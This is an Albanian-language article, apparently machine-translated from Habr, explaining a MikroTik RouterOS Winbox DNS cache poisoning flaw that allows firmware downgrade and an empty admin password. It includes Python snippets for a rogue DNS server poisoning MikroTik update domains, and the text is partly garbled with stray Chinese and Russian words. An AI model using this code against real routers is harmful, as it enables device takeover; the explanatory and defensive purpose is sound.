Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

mundësia për të ulur në distancë pajisjet e bazuara në RouterOS (Mikrotik) vë në rrezik qindra mijëra pajisje rrjetësore. Vulnerabiliteti është i lidhur me shkarkimin e DNS-cache të protokollit Winbox dhe lejon ngarkimin e një firmware-i të vjetruar (me rivendosjen e fjalëkalimit "si në fillim") ose të modifikuar në pajisje.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

detajet e vulberabilitetit

Terminali RouterOS mbështet komandën e zgjidhjes për të kërkuar DNS.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Kërkesa trajtohet nga një skedar binar i quajtur resolver. Resolver është një nga shumë skedarë binarë që lidhen me protokollin Winbox nga RouterOS. Në një nivel të lartë, "mesazhet" e dërguara në portin Winbox mund të drejtohen në skedarë të ndryshëm binarë në RouterOS të bazuara në një skemë numërimi të bazuar në array.

Në mënyrë të paracaktuar, funksioni i serverit DNS është i çaktivizuar në RouterOS.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Mirëpo, edhe me funksionin e serverit të çaktivizuar, routeri mbështet një cache të vetin DNS.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Kur bëjmë një kërkesë duke përdorur winbox_dns_request, për shembull, example.com, routeri do të ruajë rezultatin.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Duke qenë se mund të指定 DNS-serverin përmes të cilit duhet të kalojë kërkesa, është triviale të futësh adresa të gabuara. Për shembull, mund të konfigurosh realizimin e serverit DNS nga Philip Klaus, në mënyrë që të përgjigjet gjithmonë me një запис A që përmban adresën IP 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Përgjigje:n", reply)
    return reply.pack()

Tani, nëse kërkon example.com me Winbox, mund të shohësh se cache DNS i routerit është i helmuar.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Sigurisht, helmimi i example.com nuk është shumë i dobishëm, pasi routeri në realitet nuk do ta përdorë atë. Megjithatë, routeri ka nevojë të bëjë kërkesa për upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com dhe download.mikrotik.com. Dhe falë një gabimi tjetër, ka mundësinë të helmojë të gjitha ato njëherësh.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Përgjigje:n", reply)
    return reply.pack()

Ruter kërkon një lejim të vetëm, ndërsa ne ofrojmë pesë në kthim. Ruter nuk e ruan saktë të gjitha këto përgjigje.

Vulnerabiliteti Backport në RouterOS rrezikon qindra mijëra pajisje

Është e qartë se ky sulm është gjithashtu i dobishëm nëse ruterit i është caktuar roli i serverit DNS, pasi lejon sulmin e klientëve të ruterit.

Po ashtu, ky sulm lejon shfrytëzimin e një dobësie më serioze: realizimin e një downgrade ose backport të versionit të RouterOS. Sulmuesi riprodhon logjikën e serverit të azhurnimeve, duke përfshirë changelog, dhe e bën RouterOS ta perceptojë një version të vjetruar (të dobët) si të zakonshëm. Rreziku këtu qëndron në faktin se gjatë "azhurnimit" versioni i fjalëkalimit të administratorit kthehet në vlerën "standard" — një sulmues mund të hyjë në sistem me një fjalëkalim bosh!

Luaj videon

Sulmi është plotësisht funksional, megjithëse autori realizon disa vektorë të tjera, të lidhura gjithashtu me kyçjen e backdoor në firmware, por kjo është një teknikë e tepërt dhe përdorimi i saj për qëllime të paligjshme është një krim.

Mbrojtja

Thjesht çaktivizimi i Winbox-it siguron mbrojtje nga këto sulme. Megjithëse administrimi përmes Winbox është i përshtatshëm, është më mirë të përdoret protokolli SSH.

Burimi: habr.com

Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS 🔥 Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS | ProHoster